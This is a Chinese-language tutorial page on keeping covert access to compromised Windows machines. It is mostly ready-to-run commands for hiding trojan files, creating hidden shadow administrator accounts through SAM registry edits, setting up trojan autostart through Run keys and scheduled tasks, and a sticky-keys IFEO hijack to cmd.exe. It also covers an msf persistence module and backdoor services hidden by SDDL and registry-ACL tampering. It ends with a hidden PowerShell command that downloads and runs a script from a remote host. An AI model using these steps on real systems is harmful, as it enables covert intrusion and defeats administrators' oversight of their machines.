windows提权及权限维持
windows提权
windows权限维持
本文档使用 MrDoc 发布
-
+
windows权限维持
## 一、隐藏文件 1.添加属性 >针对目标文件赋予额外属性,使其不能被修改及查找等 ``` attrib +s +a +h +r 文件名 赋予目标文件:系统文件属性、存档、隐藏、只读等属性 ``` 2.伪装系统文件 - 建立一个文件夹,叫“我的电脑”,里面存入木马。 - 重命令:我的电脑.{20D04FE0-3AEA-1069-A2D8-08002B30309D} - 文件夹就变成了我的电脑的图标,且打开它后进入的也是我的电脑 恢复: - 使用压缩软件找到该文件夹,然后把后缀删除,就ok ## 二、影子账户(但高版本无效) 1. 创建隐藏用户并加入管理员组 ```powershell net user test$ 123456 /add net localgroup administrators test$ /add ``` 创建成功后使用net user命令无法查看到此用户,但是在计算机管理页面中还是可以看到,需要通过修改注册表来隐藏 2. 打开注册表(HKEY_LOCAL_MACHINE\SAM\SAM),修改SAM权限,赋予adminitrators完全控制权限 3. 重启regedit之后,将Administrator用户对应项的F数据值复制到test$用户对应项的F数据值 4. 将test$和所对应项导出,分别命名为test.reg和key.reg 5. 删除test$用户,将test.reg和1.reg导入注册表,重新加入管理员组并激活 ```powershell net user test$ /del regedit /s test.reg regedit /s 1.reg net localgroup administrators test$ /add net user test$ /active:yes ``` 6. 此时在用户组已经看不到test$用户,只能在注册表中能看到 ## 三、启用来宾用户 ``` net user guest 123456 net localgroup administrators guest /add net user guest /active:yes ``` ## 四、注册表开机启动项 ``` HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunOnce HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run ``` 方式一: 手动打开注册表,找到`HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run`子键,右键->新建->字符串值:木马程序路径 方式二: ``` reg create HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run /v "test" /t REG_SZ /d "\"木马路径\" -autorun " /f ``` ## 五、计划任务 `taskschd.msc` ``` 每当用户登录的时候触发程序 schtasks /create /sc ONLOGON /tr 木马路径 /tn 任务名称 /create:创建 /sc:运行频率 /mo:细化频率时间,如/sc minute /mo 10 每隔十分钟就运行任务 /st:目标程序路径 /sn:任务名称 每隔1小时启动木马: schtasks /create /sc hourly /mo 1 /st c:\users\zhangsan\downloads\win10.exe /sn test ``` ## 六、启动目录 ``` C:\Users\Administrator\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup ``` ## 七、映像劫持 >"映像劫持",也被称为"IFEO"(Image File Execution Options),在WindowsNT架构的系统里,IFEO的本意是为一些在默认系统环境中运行时可能引发错误的程序执行体提供特殊的环境设定。当一个可执行程序位于IFEO的控制中时,它的内存分配则根据该程序的参数来设定,而WindowsNT架构的系统能通过这个注册表项使用与可执行程序文件名匹配的项目作为程序载入时的控制依据,最终得以设定一个程序的堆管理机制和一些辅助机制等。 ***该功能可以令应用程序重定向到你指定的程序*** 出于简化原因,IFEO使用**忽略路径的方式来匹配它所要控制的程序文件名**,所以程序无论放在哪个路径,只要名字没有变化,它就运行出问题 注册表位置:HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\ 在此注册表位置添加项sethc.exe,添加debugger键的值为c:\windows\system32\cmd.exe ``` reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe" /v "Debugger" /t REG_SZ /d "c:\windows\system32\cmd.exe" /f ``` ## 八、msf权限维持 ``` use post/windows/manage/persistence_exe set REXEPATH /tmp/pentestlab.exe #木马所在路径 set SESSION 1 set STARTUP SERVICE set LOCALEXEPATH C:\\tmp run ``` ## 九、隐藏服务后门 将后门注册为自启动服务是常用的权限维持的方法 ### 1.创建: ``` #cmd sc create "atest" binpath="c:\users\zhangsan\downloads\win10.exe" start=auto # powershell创建 new-service –Name "back service" –DisplayName ".NET CLR Networking 3.5.0.0" –BinaryPathName "cmd.exe /k C:\shell.exe" –StartupType AutomaticDelayedStart ``` ### 2.通过修改SDDL(安全描述符)隐藏服务 *安全描述符包含与安全对象关联的安全信息,安全描述符包含安全描述符结构及其关联的安全信息。**windows**中的安全对象都是用**SDDL**字符串来标识访问对象(主体)对于安全对象(客体)的权限。那么就可以通过修改服务各种权限来隐藏服务:* ```powershell sc sdset "atest" "D:(D;;DCLCWPDTSD;;;IU)(D;;DCLCWPDTSD;;;SU)(D;;DCLCWPDTSD;;;BA)(A;;CCLCSWLOCRRC;;;IU)(A;;CCLCSWLOCRRC;;;SU)(A;;CCLCSWRPWPDTLOCRRC;;;SY)(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;BA)S:(AU;FA;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;WD)" ``` 这时无论是sc或get-server均查不到,在服务管理界面也不会显示,查询权限会显示拒绝访问 ### 3.修改注册表ACL隐藏异常项 但是在注册表中很容易看到异常值 ```powershell function Server-Sddl-Change{ [CmdletBinding()] param ( [parameter(Mandatory=$false)][String]$Name ) $ROOT = "HKLM:\SYSTEM\CurrentControlSet\Services\" $S = $ROOT+$NAME $acl = Get-Acl $S $acl.SetAccessRuleProtection($true, $false) $person = [System.Security.Principal.NTAccount]"Everyone" $access = [System.Security.AccessControl.RegistryRights]"QueryValues" $inheritance = [System.Security.AccessControl.InheritanceFlags]"None" $propagation = [System.Security.AccessControl.PropagationFlags]"None" $type = [System.Security.AccessControl.AccessControlType]"Deny" $rule = New-Object System.Security.AccessControl.RegistryAccessRule( ` $person,$access,$inheritance,$propagation,$type) $acl.AddAccessRule($rule) $person = [System.Security.Principal.NTAccount]"Everyone" $access = [System.Security.AccessControl.RegistryRights]"SetValue,CreateSubKey,EnumerateSubKeys,Notify,CreateLink,Delete,ReadPermissions,WriteKey,ExecuteKey,ReadKey,ChangePermissions,TakeOwnership" $inheritance = [System.Security.AccessControl.InheritanceFlags]"None" $propagation = [System.Security.AccessControl.PropagationFlags]"None" $type = [System.Security.AccessControl.AccessControlType]"Allow" $rule = New-Object System.Security.AccessControl.RegistryAccessRule( ` $person,$access,$inheritance,$propagation,$type) $acl.AddAccessRule($rule) Set-Acl $S $acl } # 远程加载脚本 powershell.exe -exec bypass -nop -w hidden -c "IEX((new-object net.webclient).downloadstring('http://192.168.88.133:8000/hide_reg_service.ps1'));Server-Sddl-Change -Name 'atest'" ``` 值已经从该服务项中隐藏了
admin
2023年12月24日 21:24
转发文档
收藏文档
上一篇
下一篇
手机扫码
复制链接
手机扫一扫转发分享
复制链接
Markdown文件
PDF文档(打印)
分享
链接
类型
密码
更新密码